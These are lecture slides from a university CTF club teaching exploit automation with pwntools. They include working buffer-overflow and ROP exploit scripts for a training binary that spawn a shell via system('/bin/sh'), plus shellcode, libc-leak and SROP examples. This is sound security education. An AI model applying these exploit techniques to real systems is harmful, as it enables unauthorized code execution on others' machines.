

# Lesson 2: Exploit Automation

Learning Python by exploiting C binaries?

Leonardo Galli

flagbot (CTF@VIS)

November 2, 2021



# Table of Contents

- Previous Challenge

  - Flag 1

  - Flag 2

- pwntools

  - Basics

  - Tubes

  - Working with Binaries

  - Shellcoding

  - ROP

- ropper

- ropium

- Further Readings

## Previous Challenge



# Challenge

## **babybof**

This is a simple buffer overflow challenge. Both binary and source code are provided on our website under *Material*. Once you have a working exploit, you can run it against the server.

There are two flags for this challenge, one is easier to get, while the other is in a file called flag2. First one to claim a flag gets the right to present their exploit ;)

**Hints:** For flag1, you just need to “call” the win function. For flag2, you need to get a shell.

**Files:** babybof.zip

**Server:** spclr.ch 1337

**Author:** Robin Jadoul



# Getting Flag 1



# Getting Flag 1

- ▶ Figure out overflow length
  - ▶ by disassembling the binary and reversing it, or
  - ▶ by manually trying different string lengths until we get a segfault
- ▶ Figure out address of `win` function
- ▶ Somehow send those bytes to the server / as input locally
- ▶ Manually attach the debugger if something breaks
  - ▶ Manually set breakpoints every time
  - ▶ Takes long to set up

Final result looks like this: `echo -ne '\xf4AAAAAAAAAA\x92\x11\x40' | ./bof`



# Automate all the Things!

```
exe = context.binary = ELF("./bof")

io = local()
crash_str = b"\xf4" + cyclic(16)
io.send(crash_str)
io.shutdown()
io.wait()

core = Coredump("./core")
offset = cyclic_find(p64(core.fault_addr)) + 1
payload = fit({ 0: b"\xf4", offset: exe.symbols.win })

io = start()
io.send(payload)
io.shutdown()
io.stream()
```



# Getting Flag 2





## Getting Flag 2

- ▶ Can start with findings from flag 1
- ▶ Need to get a shell, hence call `system`
  - ▶ `system` was already called before, so it's inside the GOT
  - ▶ we need to call `system` with an argument, so set `%rdi` to the address of a string with `"/bin/sh"` !
- ▶ Can use the following ROP chain to achieve this:
  - ▶ `0x40131b:` `pop rdi; ret`
  - ▶ `0x4040a0:` Value we want `%rdi` to have, i.e. some read/writable memory (here, `bss`)
  - ▶ `0x401060:` `gets(0x4040a0)`
  - ▶ `0x40131b:` `pop rdi; ret`
  - ▶ `0x4040a0:` Like above
  - ▶ `0x401040:` `system(0x4040a0)`
- ▶ After our ROP chain, we send `"/bin/sh"`, the input for our `gets` call.



## Automate Flag 2

```
# ... from before
rop = ROP(exe)
rop.gets(exe.bss(0x20))
rop.system(exe.bss(0x20))
log.info("BSS at 0x%x", exe.bss())
print(rop.dump())

payload = fit({ 0: b"\xf4", offset: rop.chain() })
log.info("Payload: %s", payload)
io = start()
io.sendline(payload)
io.sendline(b"/bin/sh\0")
io.interactive()
```



# pwntools

## Basics



# What is pwntools?

- ▶ Python library that automates a lot of exploit writing / creating
- ▶ Also greatly helps running exploits
  - ▶ Can automatically attach a debugger
  - ▶ Connects to remote or start binary locally depending on arguments
  - ▶ Simplifies shellcoding, ROPing, etc.
- ▶ Preinstalled on the virtual machine
- ▶ Install it on the host with `pip3 install pwn`
  - ▶ (or `sudo pip3 install pwn` )



## Basic Script (Documentation)

Generate a template by running (inside the directory bof is located in)

```
pwn template --host spclr.ch --port 1337 bof > exploit.py :
```

```
from pwn import * # set up the library and import everything

exe = context.binary = ELF('bof') # will be explained later

# setup host and port for when executing against remote server
host = args.HOST or 'spclr.ch'
port = int(args.PORT or 1337)
```

`args` contains command-line arguments passed to the script in the form:

```
python3 exploit.py DEBUG HOST=server.com PORT=1234 .
```



# Basic Script (Documentation)

```
def local(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def remote(argv=[], *a, **kw):
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io
```

- ▶ start binary locally or connect to remote
- ▶ attach gdb if `GDB` specified on command line
- ▶ additional arguments passed along, see `process` and `connect` (alias for `remote`) for details on these.



# Basic Script (Documentation)

```
def start(argv=[], *a, **kw):  
    if args.LOCAL:  
        return local(argv, *a, **kw)  
    else:  
        return remote(argv, *a, **kw)
```

- ▶ decides whether to connect to remote or start binary locally
- ▶ controlled by specifying `LOCAL` on command line
- ▶ can add more arguments with `argv`
- ▶ additional arguments passed along



# Basic Script (Documentation)

```
gdbscript = '''  
tbreak main  
continue  
''' .format(**locals())  
  
io = start()
```

- ▶ setup gdbscript (gdb commands run on attach)
- ▶ call `start`, which creates a `tube` object
- ▶ `tube` is used to “communicate” with the process / remote server
- ▶ ready to write the exploit now





## Context (**Documentation**)

- ▶ pwntools uses global variable context to control many settings
- ▶ shouldn't need to change any, except maybe `context.terminal`
  - ▶ set to string with path to your terminal
  - ▶ if you need to provide arguments to your terminal, set to array:  
`["/path/to/terminal", "arg1", "--flag", "value"]`
- ▶ by setting `context.binary`, most other settings are automatically inferred



# Packing / Unpacking (**Documentation**)

- ▶ used for converting between numbers and strings
- ▶ convert number into string (*pack*) with `pX(0x100)`, where X is the number of bits the resulting string should have (8, 16, 32, and 64 are valid)
- ▶ automatically uses correct endianness (if `context.binary` was set)
- ▶ convert string into number (*unpack*) with `uX(b"\x01\x00")`



## Packing – Continued (Documentation)

- ▶ create a payload with `fit` (alias for `flat`)
- ▶ pass either array of values (can either be strings directly, or numbers) or dictionary
- ▶ keys in dictionary are relative offsets specifying where to place corresponding values
- ▶ arguments can be arbitrarily nested
- ▶ any bytes that are not specified will be filled with data from `cyclic`
- ▶ Example, produces `"\xfe\x00\x00\x00baaaasdf"`:

```
fit({  
  0: 0xfe, # packed as 4-byte little-endian integer (uses context)  
  4: { # offset by 4 from start  
    4: "asdf" # offset by 4 from start of this dictionary,  
             # so offset by 8 from absolute start.  
             # anything not specified (e.g. bytes 4-7) will be filled  
  }  
})
```



## cyclic (Documentation)

- ▶ use `cyclic(128)` to create a string of length 128 whose subsequences are all unique
- ▶ useful to identify how many bytes you need to overflow
- ▶ for example, if `echo "ABCDEFGH" | ./vuln` crashes at `0x48474645`, 4 bytes of overflow before saved `%rip`
- ▶ use with `cyclic_find(0x48474645)` to identify offset in string returned by `cyclic` (use with corefile explained later)
- ▶ Example:

```
io.send(cyclic(128)) # segfault at 0x61616164616161
offset = cyclic_find(0x61616164616161) # offset = 9
io.send("A"*offset + payload) # next run, use offset
```



# Logging and Pausing (Documentation)

- ▶ Not recommended to use print statements, has caused me issues in the past
- ▶ use `log` for a ready-to-use, nice-looking logger
- ▶ different levels with `log.debug`, `log.info`, `log.warn`, `log.error` (debug is off by default, enabled when `DEBUG` is on command line)
- ▶ works like `printf` for formatting, for example:
  - ▶ `log.info("Leaked address 0x%x", my_address_as_a_number) :`  
`[+] Leaked address 0x7ff0123998`
  - ▶ `log.warn("Got flag: %s", flag) :`  
`[!] Got flag: b'flagbot{hello_there}'`
- ▶ use `pause(n = None)` to make the script pause for `n` seconds or until key pressed (indefinitely if no argument provided)
  - ▶ useful for manually attaching something, e.g. `strace`



# pwntools Tubes



# Tube Basics (**Documentation**)

- ▶ generic interface to talk to remote server or local binary
- ▶ buffers input and output, which can sometimes lead to issues

## bytes vs. str

Usually, pwntools functions accept both `bytes` and `str` as arguments. However, most functions return `bytes`, which you cannot easily concatenate with a string. Hence, it is recommended to always work with bytes. This mostly entails writing string literals as `b"Hello bytes"`, instead of `"Hello str"`.



# Tube Reading (**Documentation**)

- ▶ `recvall()` : receives until EOF reached
- ▶ `recv(numb = 4096)` : receives up to `numb` bytes and returns as soon as anything is available
- ▶ `recvb(numb)` : receives exactly `numb` bytes
- ▶ `recvpred(pred)` : receives until `pred(all_bytes)` is true
- ▶ `recvregex(regex)` : receives until `regex` matches any part of the bytes
- ▶ `recvuntil(delims)` : receive until one of `delims` is found
  - ▶ used very often, for example to read until there is a prompt





# Tube Reading (**Documentation**)

- ▶ `recvline()` : receives until first newline encountered, returns bytes including newline
- ▶ `recvlines(num)` : receives up to `num` lines and returns them in an array
- ▶ `recvline_name()` :
  - ▶ `name` is any of `pred`, `regex`, `startswith`, `endswith`, `contains`
  - ▶ `pred`, `regex` works like with the equivalent `recv` calls
  - ▶ `startswith`, `endswith`, `contains` receive until a line matches



## Tube Reading (**Documentation**)

- ▶ all functions accept optional timeout parameter
- ▶ if set, function will return `b""` after that many seconds
- ▶ all functions also have an alias, with `recv` replaced by `read`
- ▶ can append `S` to the function names to get a `str` back, e.g. `recvlineS`



# Tube Writing (**Documentation**)

- ▶ `send(data)` : sends data
- ▶ `sendafter(delim, data)` : combination of `recvuntil(delim)` and `send(data)` , returns received data
  - ▶ `sendlineafter(delim, data)` : same thing, but with `sendline(data)`
- ▶ `sendthen(delim, data)` : combination of `send(data)` and `recvuntil(delim)` , returns received data
  - ▶ very useful, often you send some data and wait on a response
- ▶ `sendline(data)` : send data and add a newline at the end



# Tube Misc

- ▶ `interactive()` : opens an interactive prompt, useful after you got shell
  - ▶ can safely use [ctrl-c] to terminate the function and continue with your script
  - ▶ useful to manually enter some information (e.g. proof of work)
- ▶ `stream()` : like interactive, but just streams everything to stdout
- ▶ `shutdown()` : closes the sending side of the tube
  - ▶ useful in some cases, e.g. when you want to send an EOF, without completely closing the tube and thus losing the ability to receive data



# Tube Example

```
log.info("Menu: %s", io.recvuntil("> "))
# [+] Menu: Welcome to Note Keeper 1.0
# 1) Add Note
# 2) Read Note
# 3) Delete Note
# >
log.info(io.sendlinethen("Contents: ", "1"))
# [+] Note Contents:
log.info(io.sendlinethen("> ", "Hello World"))
# [+] Added Note at index 0
# 1) ... (menu again)
log.info(io.sendlinethen("Index: ", "2"))
# [+] Index:
log.info(io.sendlinethen("> ", "0"))
# [+] Note 0: Hello World
# 1) ... (menu again)
```



# pwntools

## Working with Binaries



# ELF (Documentation)

- ▶ get various information from an ELF file (executable file on linux)
- ▶ extract address of functions, variables, etc. with `exe.symbols`
  - ▶ can be accessed as a dictionary or just dot syntax  
`exe.symbols.main == exe.symbols["main"]`
  - ▶ GOT and PLT can be accessed via `exe.got` and `exe.plt` respectively
- ▶ get offset into BSS with `exe.bss(offset)`
  - ▶ useful if you need a place to store data, but make sure to use an offset of at least `0x20`
  - ▶ usually, binaries store information about stdin/stdout at the start of BSS!
- ▶ all functions from packing / unpacking are available to call on an ELF
  - ▶ first argument now, is starting address though
  - ▶ useful to read / write numbers at a certain address



## Example with Leaking

- ▶ set `address` to change the base address where it is loaded
- ▶ useful with an info leak and you want a symbol location, for example:

```
libc = exe.libc
# ... (exploit that leads to info leak)
leak = io.recv(8)
printf_leaked = u64(leak)
log.info("Leaked address of printf: 0x%x", printf_leaked)
libc.address = printf_leaked - libc.symbols.printf # calculate base
system_addr = libc.symbols.system
log.info("system is at 0x%x", system_addr)
# ... (run exploit to call system_addr)
```





## Corefile (Documentation)

- ▶ coredumps are generated by the os when something goes wrong
- ▶ enable them temporarily with

```
echo "core" | sudo tee /proc/sys/kernel/core_pattern
```

 and

```
ulimit -c unlimited
```
- ▶ can be loaded in pwntools with `core = Coredump('./core')`
- ▶ gives you access to the registers `core.registers` and e.g. faulting address `core.fault_addr` when crash occurred
- ▶ use in combination with cyclic to automatically determine buffer overflow offset:

```
io.sendline(cyclic(128))  
io.wait() # wait on crash
```

```
core = Coredump('./core')  
offset = cyclic_find(core.fault_addr)  
# offset is how many bytes till you start overwriting saved rip
```



# pwntools

## Shellcoding



# What is Shellcode?

- ▶ small piece of - usually - handwritten assembly code
- ▶ often used for getting a shell more easily
- ▶ write final assembled machine code into executable area, then make execution jump to there
  - ▶ works well if you already have a writable and executable section (not often anymore)
  - ▶ otherwise, you first have to change protection yourself before executing



# Shellcraft (Documentation)

- ▶ assembly is written in intel syntax
- ▶ shellcraft is pwntools module containing functions that are used a lot
- ▶ functions all return a string of assembly code
- ▶ call them with `shellcraft.func()` for the default architecture or `shellcraft.amd64.func()` for a specific one



# Useful Shellcraft Functions (Documentation)

- ▶ `echo(string)` : write string to stdout, useful for debugging (or outputting flag)
- ▶ `syscall(num, ...)` : execute syscall num, arguments can also be C constants (e.g. `'SYS_read'`, `'PROT_WRITE'`) or registers (e.g. `'rsp'`, `'eax'`)
- ▶ `pushstr(string, append_null=True)` : pushes string onto the stack without using null bytes or newlines
  - ▶ extremely useful, don't have to worry about your input being cutoff
- ▶ `sh()` : gives you a shell

## shellcraft.sh()

This function ensures all parameters of the `execve` syscall are set correctly and pushes `"/bin/sh"` onto the stack. While this is nice, it uses a lot of bytes for all of this. Hence, for some challenges, you are better off writing your own trimmed down version.



# Shellcraft Example

```
s = "Hello from syscall!"
sc = shellcraft.pushstr(s)
# rsp points to start of s on stack
sc += shellcraft.syscall("SYS_write",
    1, "rsp", len(s)+1)
log.info("Shellcode: %s", sc)
# [+] Shellcode: /* push 'Hell ...
```

```
/* push 'Hello from syscall!\x00' */
push 0x1010101 ^ 0x216c6c
xor dword ptr [rsp], 0x1010101
mov rax, 0x6163737973206d6f
push rax
mov rax, 0x7266206f6c6c6548
push rax
/* call write(1, 'rsp', 20) */
push SYS_write /* 1 */
pop rax
push 1
pop rdi
push 0x14
pop rdx
mov rsi, rsp
syscall
```



# Assembling Shellcode (Documentation)

- ▶ use `asm('mov eax, 0')` to turn any assembly into bytes of machine code
- ▶ architecture and os either through context or arch and os keyword arguments
- ▶ usually use combination of shellcraft functions and custom assembly
- ▶ labels work as well, example:

```
# reuse sc from before
sc += """
.loop: /* infinite loop */
    jmp .loop
"""
asc = asm(sc)
log.info("Assembled: %s", asc)
# [+] Assembled: b'hmm \x01\x814\x01\x01\x01\x01H\xb8om syscaPH\xb8He...'
```



# pwntools ROP





# ROPing can be cumbersome

- ▶ if there is no win function, we must find gadgets to set arguments for other functions
- ▶ in the most extreme case, need to manually make syscalls for reading, writing, etc.
  - ▶ happens, if no useful functions from libc are imported and we do not have a leak
- ▶ pwntools can automate a lot for us!



# ROP (Documentation)

- ▶ initialize with `rop = ROP(exe, base=stack_addr)` (only specify base if known)
- ▶ add calls to our chain with `rop.call(name_or_addr, ...)`
  - ▶ arguments can also be register names, e.g. 'rsp'
  - ▶ can also directly use `rop.name(...)`, e.g. `rop.read(0, exe.bss(), 0x20)`
  - ▶ possible to call syscalls not in binary, e.g. above example even if no read function in binary (pwntools automatically tries an SROP)
- ▶ inspect chain with `rop.dump()`
- ▶ convert chain to bytes with `rop.chain()`
- ▶ **Note:** add enough characters in front of `rop.chain()`, such that the first byte of `rop.chain()` overwrites first byte of saved %rip



## Example ROP

```
rop = ROP(exe)
rop.gets(exe.bss(0x20))
rop.system(exe.bss(0x20))
log.info("Chain: %s", rop.dump())
# [+] Chain: 0x0000:          0x40131b pop rdi; ret
# 0x0008:          0x4040a0 [arg0] rdi = stderr
# 0x0010:          0x401060 gets
# 0x0018:          0x40131b pop rdi; ret
# 0x0020:          0x4040a0 [arg0] rdi = stderr
# 0x0028:          0x401040 system
```



# Sigreturn Oriented Programming (Documentation)

- ▶ What can we do, if we only control the `%rax` register and nothing else?
- ▶ The only option is a syscall, but which one?

## `rt_sigreturn`

Intended to be used at the end of a signal handler. Kernel saves registers of when signal occurred on stack. When `rt_sigreturn` is called, all registers are restored by the kernel.

We can abuse this, to set every register (including `%rip`)!

**Limitation:** Every register - including `%rsp` - needs to be set! Hence, we need to make sure, `%rsp` points to something useful and ideally more ret gadgets.



# Sigreturn Oriented Programming (SROP) (Documentation)

- ▶ create a new frame with `frame = SigreturnFrame()`
- ▶ populate its registers, e.g. `frame.rax = 0x1`
  - ▶ usually you want to use this for a syscall
  - ▶ therefore, you want to set `%rax` to the syscall number and `%rip` to a gadget containing `syscall; ret` (see [syscall table](#) for syscalls and their arguments)
  - ▶ often you want to use `mmap` (create new memory) or `mprotect` (change memory permissions)
  - ▶ allows you to easily shellcode
- ▶ add it to your rop: `rop.raw(frame)`



## Example SROP

```
# setup rop, so that rax = constants.SYS_rt_sigreturn before here
rop.call(syscall_ret_gadget) # execute rt_sigreturn
frame = SigreturnFrame() # frame to create RWX memory
frame.rax = constants.SYS_mmap
frame.rdi = 0x100000 # address
frame.rsi = 0x1000 # size
frame.rdx = constants.eval("PROT_READ | PROT_WRITE | PROT_EXEC") # RWX
frame.rip = syscall_ret_gadget
frame.rsp = 0x100000 # does not work here!
rop.raw(frame)
log.info("Chain: %s", rop.dump())
# [+] Chain: 0x0000:          0x400000 0x400000()
# 0x0008:          0xf SYS_rt_sigreturn
# 0x0010:          0x400010 0x400010()
# 0x0018:          0x0 uc_flags # start of frame
# ...
# 0x0108:          0x0 sigmask # end of frame
```



ropper



## ropper (Documentation)

- ▶ pwntools often fails at finding gadgets
- ▶ ropper can help, provides a nice overview of all gadgets
- ▶ can also search specific gadgets for you
- ▶ preinstalled on the virtual machines
- ▶ run `ropper -f program` to dump a list of found gadgets





ropium



# ropium (Documentation)

- ▶ does not have a nice list of gadgets
- ▶ however, finds arbitrary chains of gadgets for you
  - ▶ for example, we want to set `%rax = 0x10`
  - ▶ it finds gadget for setting `%rbx`: `pop rbx; ret`
  - ▶ then finds gadget for setting `%rax = %rbx`: `mov rax, rbx; ret`
- ▶ will be installed on virtual machines, if you update them



## Further Readings



# More pwntools

- ▶ pwntools Tutorials
- ▶ Hashes with pwntools
- ▶ Bit Fiddeling (xor, base64, bits, etc.)



# Challenge

## **babyrop**

Oh no! Our fibonacci calculator is getting exploited, can you figure out how? I heard it had something to do with negative numbers...

**Hints:** This binary has only readable memory, so you probably want to remove that limit ;) You will probably have to use a sigreturn frame for this, since there are not enough gadgets for all registers. Also, setting `%rax` is gonna require some effort :)

**Files:** babyrop.zip

**Server:** spclr.ch 1338

**Author:** Robin Jadoul

